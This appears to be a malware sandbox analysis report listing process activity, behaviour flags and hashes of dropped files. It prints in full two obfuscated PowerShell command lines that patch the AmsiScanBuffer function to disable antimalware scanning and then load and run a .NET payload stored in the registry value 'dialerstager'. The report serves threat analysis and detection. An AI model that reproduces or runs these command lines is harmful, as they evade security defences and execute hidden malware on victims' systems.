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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE "function Local:aCjsyqqbdHEA{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$rCOeLToPNNOgmE,[Parameter(Position=1)][Type]$NRDwnchQqJ)$DBvqSEfbPAd=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+'e'+[Char](102)+''+[Char](108)+''+'e'+''+[Char](99)+''+[Char](116)+''+[Char](101)+''+[Char](100)+''+'D'+''+'e'+'l'+[Char](101)+''+[Char](103)+''+[Char](97)+''+[Char](116)+''+'e'+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+'nM'+'e'+'m'+[Char](111)+'r'+'y'+''+[Char](77)+'o'+'d'+''+[Char](117)+''+[Char](108)+''+[Char](101)+'',$False).DefineType(''+[Char](77)+''+[Char](121)+'De'+[Char](108)+''+[Char](101)+'g'+'a'+''+'t'+''+[Char](101)+''+[Char](84)+''+[Char](121)+''+[Char](112)+''+[Char](101)+'',''+'C'+''+[Char](108)+''+'a'+'s'+[Char](115)+''+[Char](44)+''+'P'+'u'+'b'+''+[Char](108)+''+'i'+''+'c'+''+','+''+[Char](83)+''+'e'+''+[Char](97)+'l'+[Char](101)+''+[Char](100)+''+[Char](44)+''+[Char](65)+'ns'+'i'+'C'+[Char](108)+''+[Char](97)+''+'s'+'s'+[Char](44)+''+[Char](65)+'u'+[Char](116)+''+[Char](111)+'C'+'l'+'as'+[Char](115)+'',[MulticastDelegate]);$DBvqSEfbPAd.DefineConstructor(''+[Char](82)+''+'T'+''+'S'+'p'+'e'+'cia'+'l'+''+'N'+''+[Char](97)+''+'m'+''+'e'+','+'H'+''+'i'+''+'d'+''+[Char](101)+''+'B'+''+'y'+''+[Char](83)+''+'i'+''+[Char](103)+''+[Char](44)+''+'P'+''+'u'+''+'b'+'l'+[Char](105)+''+'c'+'',[Reflection.CallingConventions]::Standard,$rCOeLToPNNOgmE).SetImplementationFlags(''+'R'+''+[Char](117)+''+[Char](110)+''+[Char](116)+''+[Char](105)+''+'m'+''+'e'+''+[Char](44)+''+'M'+'a'+'n'+''+[Char](97)+''+'g'+''+[Char](101)+''+'d'+'');$DBvqSEfbPAd.DefineMethod(''+[Char](73)+'n'+'v'+'o'+'k'+''+[Char](101)+'',''+'P'+''+[Char](117)+''+'b'+''+[Char](108)+'ic'+[Char](44)+''+'H'+''+[Char](105)+''+[Char](100)+''+[Char](101)+''+[Char](66)+''+[Char](121)+''+[Char](83)+''+'i'+''+[Char](103)+''+[Char](44)+''+'N'+'ew'+[Char](83)+''+[Char](108)+''+'o'+''+'t'+''+[Char](44)+''+'V'+''+'i'+''+[Char](114)+''+[Char](116)+''+[Char](117)+'al',$NRDwnchQqJ,$rCOeLToPNNOgmE).SetImplementationFlags('R'+[Char](117)+''+[Char](110)+'t'+'i'+'m'+'e'+''+[Char](44)+''+'M'+''+[Char](97)+''+'n'+''+'a'+'ged');Write-Output $DBvqSEfbPAd.CreateType();}$nWYTLfcfyvpAb=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+[Char](121)+'s'+[Char](116)+''+[Char](101)+''+[Char](109)+''+[Char](46)+'dl'+[Char](108)+'')}).GetType('M'+[Char](105)+''+[Char](99)+''+[Char](114)+'oso'+[Char](102)+''+'t'+''+[Char](46)+''+[Char](87)+''+[Char](105)+''+'n'+''+[Char](51)+'2'+[Char](46)+''+[Char](85)+''+[Char](110)+''+'s'+''+'a'+''+[Char](102)+''+'e'+''+'n'+''+[Char](87)+''+'Y'+'T'+[Char](76)+''+[Char](102)+'cf'+'y'+'v'+'p'+''+'A'+'b');$lGdyxTcnfufSnI=$nWYTLfcfyvpAb.GetMethod('l'+[Char](71)+''+'d'+''+[Char](121)+''+[Char](120)+''+[Char](84)+''+'c'+''+'n'+''+[Char](102)+''+'u'+'f'+[Char](83)+''+'n'+''+'I'+'',[Reflection.BindingFlags]'Pub'+[Char](108)+''+'i'+'c,'+[Char](83)+''+[Char](116)+''+'a'+'tic',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$PpdlfNgeWdYLHnvSPIY=aCjsyqqbdHEA @([String])([IntPtr]);$SZOlWzjpWmdUlBShWJddSw=aCjsyqqbdHEA @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$lafgCWhCljf=$nWYTLfcfyvpAb.GetMethod(''+'G'+''+[Char](101)+'tM'+[Char](111)+'d'+[Char](117)+'le'+[Char](72)+''+[Char](97)+''+'n'+''+[Char](100)+''+'l'+''+[Char](101)+'').Invoke($Null,@([Object](''+[Char](107)+''+[Char](101)+'r'+[Char](110)+''+'e'+''+[Char](108)+''+[Char](51)+'2'+'.'+''+[Char](100)+''+[Char](108)+'l')));$BvQKrjJDvYzlOo=$lGdyxTcnfufSnI.Invoke($Null,@([Object]$lafgCWhCljf,[Object]('Lo'+[Char](97)+''+[Char](100)+'Li'+'b'+'r'+'a'+''+[Char](114)+''+'y'+''+[Char](65)+'')));$fjYbidnGMFJxnHPFD=$lGdyxTcnfufSnI.Invoke($Null,@([Object]$lafgCWhCljf,[Object]('V'+[Char](105)+''+'r'+''+[Char](116)+'ua'+'l'+''+[Char](80)+''+[Char](114)+''+'o'+''+[Char](116)+'e'+[Char](99)+''+'t'+'')));$pdqsddz=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($BvQKrjJDvYzlOo,$PpdlfNgeWdYLHnvSPIY).Invoke('a'+[Char](109)+''+[Char](115)+''+'i'+''+[Char](46)+''+[Char](100)+'l'+'l'+'');$VNsjSQRECelTWNDVV=$lGdyxTcnfufSnI.Invoke($Null,@([Object]$pdqsddz,[Object](''+[Char](65)+''+'m'+''+'s'+'i'+[Char](83)+'c'+[Char](97)+'nB'+'u'+''+[Char](102)+''+[Char](102)+'e'+[Char](114)+'')));$OzDIYaDdPR=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($fjYbidnGMFJxnHPFD,$SZOlWzjpWmdUlBShWJddSw).Invoke($VNsjSQRECelTWNDVV,[uint32]8,4,[ref]$OzDIYaDdPR);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc2,0x18,0),0,$VNsjSQRECelTWNDVV,8);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($fjYbidnGMFJxnHPFD,$SZOlWzjpWmdUlBShWJddSw).Invoke($VNsjSQRECelTWNDVV,[uint32]8,0x20,[ref]$OzDIYaDdPR);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+''+[Char](70)+''+[Char](84)+''+'W'+''+[Char](65)+''+[Char](82)+''+[Char](69)+'').GetValue(''+'d'+''+[Char](105)+''+'a'+''+[Char](108)+''+[Char](101)+'rs'+'t'+'ag'+[Char](101)+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)1⤵
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:4996
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:YUuVVdaksdbl{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$kaPgflccpjoYWN,[Parameter(Position=1)][Type]$RZlsdmviOY)$eOIuPUrzkmg=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+'e'+'fle'+'c'+'t'+[Char](101)+''+[Char](100)+'D'+[Char](101)+''+[Char](108)+'eg'+[Char](97)+''+'t'+'e')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('I'+[Char](110)+''+'M'+''+'e'+'m'+'o'+''+'r'+''+[Char](121)+''+'M'+''+'o'+''+'d'+''+[Char](117)+'l'+[Char](101)+'',$False).DefineType(''+[Char](77)+''+'y'+''+[Char](68)+''+[Char](101)+''+[Char](108)+'eg'+[Char](97)+''+[Char](116)+'e'+'T'+'y'+[Char](112)+''+[Char](101)+'',''+'C'+'l'+[Char](97)+'ss,P'+[Char](117)+''+[Char](98)+''+[Char](108)+''+[Char](105)+''+[Char](99)+''+[Char](44)+''+[Char](83)+''+[Char](101)+''+[Char](97)+''+[Char](108)+''+[Char](101)+''+'d'+','+[Char](65)+'n'+[Char](115)+'iC'+'l'+''+'a'+''+'s'+''+[Char](115)+''+','+''+'A'+''+'u'+'t'+[Char](111)+''+[Char](67)+'l'+'a'+''+'s'+''+[Char](115)+'',[MulticastDelegate]);$eOIuPUrzkmg.DefineConstructor('RT'+[Char](83)+''+[Char](112)+''+[Char](101)+''+[Char](99)+''+[Char](105)+''+'a'+''+[Char](108)+''+[Char](78)+'am'+[Char](101)+',H'+[Char](105)+''+[Char](100)+''+[Char](101)+''+[Char](66)+''+'y'+'S'+[Char](105)+''+[Char](103)+''+[Char](44)+''+[Char](80)+''+'u'+''+'b'+''+[Char](108)+''+[Char](105)+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$kaPgflccpjoYWN).SetImplementationFlags(''+[Char](82)+'unti'+[Char](109)+'e'+[Char](44)+'M'+[Char](97)+''+[Char](110)+''+[Char](97)+''+[Char](103)+''+[Char](101)+''+'d'+'');$eOIuPUrzkmg.DefineMethod(''+'I'+''+[Char](110)+'v'+[Char](111)+''+[Char](107)+''+'e'+'',''+[Char](80)+''+'u'+''+[Char](98)+'l'+'i'+''+[Char](99)+''+[Char](44)+''+'H'+''+[Char](105)+''+[Char](100)+''+[Char](101)+''+'B'+''+[Char](121)+''+[Char](83)+''+[Char](105)+'g'+','+'N'+[Char](101)+'w'+[Char](83)+''+[Char](108)+''+[Char](111)+''+[Char](116)+''+[Char](44)+''+[Char](86)+''+'i'+'rt'+[Char](117)+''+'a'+'l',$RZlsdmviOY,$kaPgflccpjoYWN).SetImplementationFlags('R'+'u'+'n'+'t'+''+[Char](105)+''+[Char](109)+''+[Char](101)+',M'+[Char](97)+''+'n'+''+[Char](97)+''+'g'+''+[Char](101)+''+'d'+'');Write-Output $eOIuPUrzkmg.CreateType();}$qHuQxRUzoQjzx=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+[Char](121)+''+[Char](115)+''+'t'+''+[Char](101)+'m'+'.'+''+[Char](100)+'l'+'l'+'')}).GetType(''+'M'+''+'i'+''+'c'+'r'+[Char](111)+''+'s'+''+[Char](111)+''+'f'+'t.'+[Char](87)+'i'+[Char](110)+''+'3'+''+[Char](50)+'.'+'U'+''+[Char](110)+'s'+'a'+''+[Char](102)+''+[Char](101)+''+[Char](113)+''+[Char](72)+''+[Char](117)+''+[Char](81)+''+'x'+''+'R'+''+'U'+''+[Char](122)+''+[Char](111)+'Qjz'+[Char](120)+'');$AILsDTvaAMWcnG=$qHuQxRUzoQjzx.GetMethod('A'+[Char](73)+'Ls'+'D'+'T'+'v'+'a'+[Char](65)+''+[Char](77)+'Wc'+'n'+''+[Char](71)+'',[Reflection.BindingFlags]'P'+'u'+''+'b'+'l'+[Char](105)+''+[Char](99)+''+','+''+[Char](83)+'t'+[Char](97)+''+'t'+''+[Char](105)+'c',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$UcnzUmZsvIPTUKlOJUt=YUuVVdaksdbl @([String])([IntPtr]);$CzpPFTsdYSlJdYDXKrTMbz=YUuVVdaksdbl @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$pRaQkZErSje=$qHuQxRUzoQjzx.GetMethod(''+[Char](71)+'e'+[Char](116)+''+[Char](77)+''+[Char](111)+''+'d'+''+[Char](117)+''+[Char](108)+''+'e'+'H'+[Char](97)+'n'+[Char](100)+''+'l'+''+[Char](101)+'').Invoke($Null,@([Object](''+[Char](107)+'e'+[Char](114)+''+[Char](110)+''+[Char](101)+'l'+[Char](51)+''+[Char](50)+''+[Char](46)+''+[Char](100)+''+[Char](108)+''+[Char](108)+'')));$BccQouMHzzlria=$AILsDTvaAMWcnG.Invoke($Null,@([Object]$pRaQkZErSje,[Object]('L'+[Char](111)+''+[Char](97)+''+[Char](100)+''+'L'+''+[Char](105)+''+[Char](98)+'r'+[Char](97)+''+[Char](114)+''+'y'+'A')));$YpYMiXakTGbaYOKev=$AILsDTvaAMWcnG.Invoke($Null,@([Object]$pRaQkZErSje,[Object](''+[Char](86)+''+'i'+''+[Char](114)+'t'+'u'+''+'a'+''+'l'+''+[Char](80)+''+[Char](114)+''+[Char](111)+''+'t'+'e'+[Char](99)+''+[Char](116)+'')));$pTlvgXe=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($BccQouMHzzlria,$UcnzUmZsvIPTUKlOJUt).Invoke(''+[Char](97)+''+'m'+''+'s'+'i'+'.'+''+[Char](100)+''+'l'+''+[Char](108)+'');$hbgoeWwOrOLOPDEiZ=$AILsDTvaAMWcnG.Invoke($Null,@([Object]$pTlvgXe,[Object]('A'+[Char](109)+'s'+'i'+'Sc'+[Char](97)+'n'+'B'+''+[Char](117)+'f'+'f'+''+[Char](101)+''+[Char](114)+'')));$WRCMvcGPme=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($YpYMiXakTGbaYOKev,$CzpPFTsdYSlJdYDXKrTMbz).Invoke($hbgoeWwOrOLOPDEiZ,[uint32]8,4,[ref]$WRCMvcGPme);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$hbgoeWwOrOLOPDEiZ,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($YpYMiXakTGbaYOKev,$CzpPFTsdYSlJdYDXKrTMbz).Invoke($hbgoeWwOrOLOPDEiZ,[uint32]8,0x20,[ref]$WRCMvcGPme);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+'OF'+[Char](84)+''+'W'+'A'+[Char](82)+''+[Char](69)+'').GetValue(''+[Char](100)+''+[Char](105)+''+[Char](97)+'l'+[Char](101)+''+[Char](114)+'s'+'t'+''+[Char](97)+''+[Char](103)+''+[Char](101)+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4064
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
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Filesize
4KB
MD5bdb25c22d14ec917e30faf353826c5de
SHA16c2feb9cea9237bc28842ebf2fea68b3bd7ad190
SHA256e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495
SHA512b5eddbfd4748298a302e2963cfd12d849130b6dcb8f0f85a2a623caed0ff9bd88f4ec726f646dbebfca4964adc35f882ec205113920cb546cc08193739d6728c
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Filesize
53KB
MD5124edf3ad57549a6e475f3bc4e6cfe51
SHA180f5187eeebb4a304e9caa0ce66fcd78c113d634
SHA256638c51e173ca6b3469494a7e2e0b656021a761f77b4a83f3e430e82e7b9af675
SHA512b6c1a9051feeffad54ba1092fd799d34a9578368d7e66b31780fe478c1def0eb4094dce2879003f7389f2f9d86b94a3ef3975e78092a604597841c9b8db120ee
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Filesize
19KB
MD53de4b1df63a3e8eca29650d2a9394076
SHA1d3e2c6fff2a2ab02e9e02b107dba32b37552e100
SHA2564880baae568830a9b05d9f37de43285b4c587574e39e4985f120b51dccb343c5
SHA512de68111b67b1b7f5cf0788069facea010d422a0046dc4bbc388c560965fca2788e6e5d065612aa1b01021fe6a9fc7ae5bb1048047caff2374301f8ae6adc6ec0
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Filesize
1KB
MD5c697637a9b17f577fccd7e83a5495810
SHA104e6054584786b88994b0e0a871562227fe2a435
SHA25654992c76969f661b605042ebdc73912dbc42e3f88aa6ffecb7191a598fc17164
SHA51266f85a03889786d2c910880bf32e9ea380740b665f11828d06acb03b6f63fb11be1d70e67acb3bc2118f2c35824919458ce7c85f6843c72a3e5ca44fadc0b3c0
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Filesize
1.4MB
MD5bb86a343080f9f4696c250ef31a18d9d
SHA143b2193dcb1d56eac73ba88a7b461822074192d6
SHA256095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0
SHA51224807f80547879d3131be311d738b411e335a9489bbe80649fbfd6b6265852e7e9aec461f5e5f5e4e7ea0239c145a18f9b5e91aa31888227b2b080b75a439560
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Filesize
1.4MB
MD5bb86a343080f9f4696c250ef31a18d9d
SHA143b2193dcb1d56eac73ba88a7b461822074192d6
SHA256095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0
SHA51224807f80547879d3131be311d738b411e335a9489bbe80649fbfd6b6265852e7e9aec461f5e5f5e4e7ea0239c145a18f9b5e91aa31888227b2b080b75a439560
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Filesize
3.7MB
MD5f5c51e7760315ad0f0238d268c03c60e
SHA185ebaaa9685634143a72bc82c6e7df87a78eed4c
SHA256ea42fcee681ec3b06dac54d3da4b866143d68cbaa0dd0e00e7c10ae2a7c9d2aa
SHA512d3b9ac3bf5467bd25439f2d29457361ac14d1be5b060078a7ef4f78540994679f9fed245d70a4e2a6edbc37b94a042be407ad7fbbd5a95600312946ffb558f35
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Filesize
3.7MB
MD5f5c51e7760315ad0f0238d268c03c60e
SHA185ebaaa9685634143a72bc82c6e7df87a78eed4c
SHA256ea42fcee681ec3b06dac54d3da4b866143d68cbaa0dd0e00e7c10ae2a7c9d2aa
SHA512d3b9ac3bf5467bd25439f2d29457361ac14d1be5b060078a7ef4f78540994679f9fed245d70a4e2a6edbc37b94a042be407ad7fbbd5a95600312946ffb558f35
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Filesize
1.4MB
MD5b6bbab9f72c88d07b484cc339c475e75
SHA1f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1
SHA256dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f
SHA5121ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5
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Filesize
1.4MB
MD5b6bbab9f72c88d07b484cc339c475e75
SHA1f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1
SHA256dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f
SHA5121ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5